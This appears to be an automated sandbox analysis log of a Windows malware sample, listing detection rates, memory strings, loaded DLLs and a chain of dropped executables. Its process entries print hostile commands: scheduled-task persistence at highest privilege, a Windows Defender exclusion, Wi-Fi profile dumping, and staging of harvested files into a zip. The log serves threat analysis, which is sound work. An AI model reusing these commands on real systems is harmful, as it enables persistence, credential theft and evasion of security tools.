Source: d361f35322.exe, 00000009.00000002.3072030296.00000000007E1000.00000040.00000001.01000000.0000000C.sdmp, MPGPH131.exe, 0000001B.00000003.2069728672.0000000004FF0000.00000004.00001000.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000002.3349331204.0000000000701000.00000040.00000001.01000000.00000012.sdmp, MPGPH131.exe, 0000001C.00000003.2070120899.0000000005180000.00000004.00001000.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2021888097.00000000050E0000.00000004.00001000.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000002.3072062602.00000000007E1000.00000040.00000001.01000000.0000000C.sdmp, RageMP131.exe, 0000002E.00000003.2138214229.0000000004C70000.00000004.00001000.00020000.00000000.sdmp, RageMP131.exe, 0000002E.00000002.2634123106.0000000000891000.00000040.00000001.01000000.0000001B.sdmp	Binary or memory string: UPDATE %Q.%s SET sql = sqlite_rename_table(sql, %Q), tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q AND (type='table' OR type='index' OR type='trigger');
Source: d361f35322.exe, 00000009.00000003.2767781607.0000000007DB1000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000009.00000003.2766547058.0000000007DB1000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2941355973.0000000007CD2000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2942331492.0000000008153000.00000004.00000020.00020000.00000000.sdmp, u6po.0.exe, 00000033.00000003.2239168944.00000000220D4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: 1CMweaqlKp.exe	ReversingLabs: Detection: 50%
Source: 1CMweaqlKp.exe	Virustotal: Detection: 44%

Source: amert.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: d361f35322.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: d361f35322.exe	String found in binary or memory: https://www.maxmind.com/en/locate-my-ip-address

Source: C:\Users\user\Desktop\1CMweaqlKp.exe

File read: C:\Users\user\Desktop\1CMweaqlKp.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\1CMweaqlKp.exe "C:\Users\user\Desktop\1CMweaqlKp.exe"
Source: C:\Users\user\Desktop\1CMweaqlKp.exe	Process created: C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe "C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe"
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://%3cfnc1%3e(79)/
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2656 --field-trial-handle=2296,i,9301016893778941798,11505312185340456869,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe
Source: C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe	Process created: C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe "C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe"
Source: C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe	Process created: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe "C:\Users\user\AppData\Local\Temp\1000019001\amert.exe"
Source: C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe	Process created: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe "C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe"
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	Process created: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe "C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 HR" /sc HOURLY /rl HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe	Process created: C:\Users\user\1000021002\ac861238af.exe "C:\Users\user\1000021002\ac861238af.exe"
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 LG" /sc ONLOGON /rl HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\1000021002\ac861238af.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.youtube.com/account
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll, Main
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\System32\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll, Main
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles
Source: C:\Windows\System32\netsh.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process created: C:\Users\user\AppData\Local\Temp\1000066001\swiiiii.exe "C:\Users\user\AppData\Local\Temp\1000066001\swiiiii.exe"
Source: C:\Users\user\AppData\Local\Temp\1000066001\swiiiii.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\a091ec0a6e2227\clip64.dll, Main
Source: unknown	Process created: C:\ProgramData\MPGPH131\MPGPH131.exe C:\ProgramData\MPGPH131\MPGPH131.exe
Source: unknown	Process created: C:\ProgramData\MPGPH131\MPGPH131.exe C:\ProgramData\MPGPH131\MPGPH131.exe
Source: C:\Users\user\AppData\Local\Temp\1000066001\swiiiii.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000066001\swiiiii.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2588 -s 928
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process created: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe "C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe "C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe"
Source: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN NewB.exe /TR "C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe" /F
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process created: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe "C:\Users\user\AppData\Local\Temp\1000071001\jok.exe"
Source: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe	Process created: C:\Users\user\AppData\Local\Temp\1000234001\ISetup8.exe "C:\Users\user\AppData\Local\Temp\1000234001\ISetup8.exe"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3696 --field-trial-handle=2296,i,9301016893778941798,11505312185340456869,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process created: C:\Users\user\AppData\Local\Temp\1000073001\swiiii.exe "C:\Users\user\AppData\Local\Temp\1000073001\swiiii.exe"
Source: C:\Users\user\AppData\Local\Temp\1000073001\swiiii.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe "C:\Users\user\AppData\Local\RageMP131\RageMP131.exe"
Source: C:\Users\user\AppData\Local\Temp\1000073001\swiiii.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe	Process created: C:\Users\user\AppData\Local\Temp\1000235001\toolspub1.exe "C:\Users\user\AppData\Local\Temp\1000235001\toolspub1.exe"
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process created: C:\Users\user\AppData\Local\Temp\1000075001\file300un.exe "C:\Users\user\AppData\Local\Temp\1000075001\file300un.exe"
Source: C:\Users\user\AppData\Local\Temp\1000234001\ISetup8.exe	Process created: C:\Users\user\AppData\Local\Temp\u6po.0.exe "C:\Users\user\AppData\Local\Temp\u6po.0.exe"
Source: C:\Users\user\AppData\Local\Temp\1000075001\file300un.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Local\Temp\1000075001\file300un.exe" -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000075001\file300un.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe"
Source: C:\Users\user\Desktop\1CMweaqlKp.exe	Process created: C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe "C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe	Process created: C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe "C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe	Process created: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe "C:\Users\user\AppData\Local\Temp\1000019001\amert.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe	Process created: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe "C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe	Process created: C:\Users\user\1000021002\ac861238af.exe "C:\Users\user\1000021002\ac861238af.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2656 --field-trial-handle=2296,i,9301016893778941798,11505312185340456869,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 LG" /sc ONLOGON /rl HIGHEST	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3696 --field-trial-handle=2296,i,9301016893778941798,11505312185340456869,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	Process created: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe "C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 HR" /sc HOURLY /rl HIGHEST	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 LG" /sc ONLOGON /rl HIGHEST	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll, Main
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process created: C:\Users\user\AppData\Local\Temp\1000066001\swiiiii.exe "C:\Users\user\AppData\Local\Temp\1000066001\swiiiii.exe"
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\a091ec0a6e2227\clip64.dll, Main
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process created: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe "C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe"
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process created: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe "C:\Users\user\AppData\Local\Temp\1000071001\jok.exe"
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process created: C:\Users\user\AppData\Local\Temp\1000073001\swiiii.exe "C:\Users\user\AppData\Local\Temp\1000073001\swiiii.exe"
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process created: C:\Users\user\AppData\Local\Temp\1000075001\file300un.exe "C:\Users\user\AppData\Local\Temp\1000075001\file300un.exe"
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process created: unknown unknown
Source: C:\Users\user\1000021002\ac861238af.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.youtube.com/account
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2588 -s 928
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\System32\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll, Main
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal
Source: C:\Users\user\AppData\Local\Temp\1000066001\swiiiii.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN NewB.exe /TR "C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe" /F
Source: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe	Process created: C:\Users\user\AppData\Local\Temp\1000234001\ISetup8.exe "C:\Users\user\AppData\Local\Temp\1000234001\ISetup8.exe"
Source: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe	Process created: C:\Users\user\AppData\Local\Temp\1000235001\toolspub1.exe "C:\Users\user\AppData\Local\Temp\1000235001\toolspub1.exe"
Source: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1000234001\ISetup8.exe	Process created: C:\Users\user\AppData\Local\Temp\u6po.0.exe "C:\Users\user\AppData\Local\Temp\u6po.0.exe"
Source: C:\Users\user\AppData\Local\Temp\1000073001\swiiii.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\AppData\Local\Temp\1000075001\file300un.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Local\Temp\1000075001\file300un.exe" -Force
Source: C:\Users\user\AppData\Local\Temp\1000075001\file300un.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\1CMweaqlKp.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\1CMweaqlKp.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\1CMweaqlKp.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\1CMweaqlKp.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\1CMweaqlKp.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\1CMweaqlKp.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\1CMweaqlKp.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\1CMweaqlKp.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\1CMweaqlKp.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\1CMweaqlKp.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\1CMweaqlKp.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\1CMweaqlKp.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\1CMweaqlKp.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\1CMweaqlKp.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\1CMweaqlKp.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\1CMweaqlKp.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\1CMweaqlKp.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\1CMweaqlKp.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\1CMweaqlKp.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\1CMweaqlKp.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\1CMweaqlKp.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\1CMweaqlKp.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\1CMweaqlKp.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\1CMweaqlKp.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\1CMweaqlKp.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\1CMweaqlKp.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\1CMweaqlKp.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\1CMweaqlKp.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\1CMweaqlKp.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\1CMweaqlKp.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\1CMweaqlKp.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\1CMweaqlKp.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\1CMweaqlKp.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\1CMweaqlKp.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\1CMweaqlKp.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\1CMweaqlKp.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\1CMweaqlKp.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\1CMweaqlKp.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\1CMweaqlKp.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\1CMweaqlKp.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\1CMweaqlKp.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\1CMweaqlKp.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe	Section loaded: profapi.dll	Jump to behavior
